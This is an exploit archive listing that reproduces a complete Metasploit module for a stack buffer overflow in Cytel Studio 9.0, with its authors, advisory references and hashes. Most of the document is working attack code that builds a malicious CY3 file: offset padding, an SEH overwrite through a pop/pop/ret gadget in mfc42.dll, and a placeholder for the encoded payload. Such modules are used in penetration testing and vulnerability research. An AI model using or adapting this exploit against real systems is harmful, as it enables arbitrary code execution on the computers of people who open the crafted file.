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Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow

Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow
Posted Oct 24, 2011
Authored by Luigi Auriemma, James Fitts | Site metasploit.com

This Metasploit module exploits a stack based buffer overflow found in Cytel Studio <= 9.0. The overflow is triggered during the copying of strings to a stack buffer of 256 bytes.

tags | exploit, overflow
advisories | OSVDB-75991
MD5 | 803c6fca9cba79ef5cd0543f93bb1810

Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow

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##
# $Id: cytel_studio_cy3.rb 14041 2011-10-24 01:39:11Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow found
in Cytel Studio <= 9.0. The overflow is triggered during the
copying of strings to a stack buffer of 256 bytes.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', # Initial Discovery/PoC
'James Fitts' # Metasploit Module (Thx Juan & Jeff)
],
'Version' => '$Revision: 14041 $',
'References' =>
[
[ 'OSVDB', '75991' ],
[ 'BID', '49924' ],
[ 'URL', 'http://aluigi.altervista.org/adv/cytel_1-adv.txt' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20",
},
'Platform' => 'win',
'Targets' =>
[
[
# File version 8.0.0.1
'Cytel Studio 9.0',
{
'Ret' => 0x73e58e01, # p/p/r mfc42.dll
'Offset' => 500
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Oct 02 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.cy3']),
], self.class)
end

def exploit
cy3 = "90\n150 1\n1\test\n"
cy3 << rand_text_alpha_upper(target['Offset'])
cy3 << generate_seh_record(target.ret)
cy3 << rand_text_alpha_upper(8)
cy3 << payload.encoded
cy3 << rand_text_alpha_upper(5000 - cy3.length)

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(cy3)
end
end

=begin
During testing, the offset for Jeff was different. But the three of us have NOT
been unable to reproduce the same problem. All this was tested on:
XP SP3, Vista SP0/SP1, Win 7
=end

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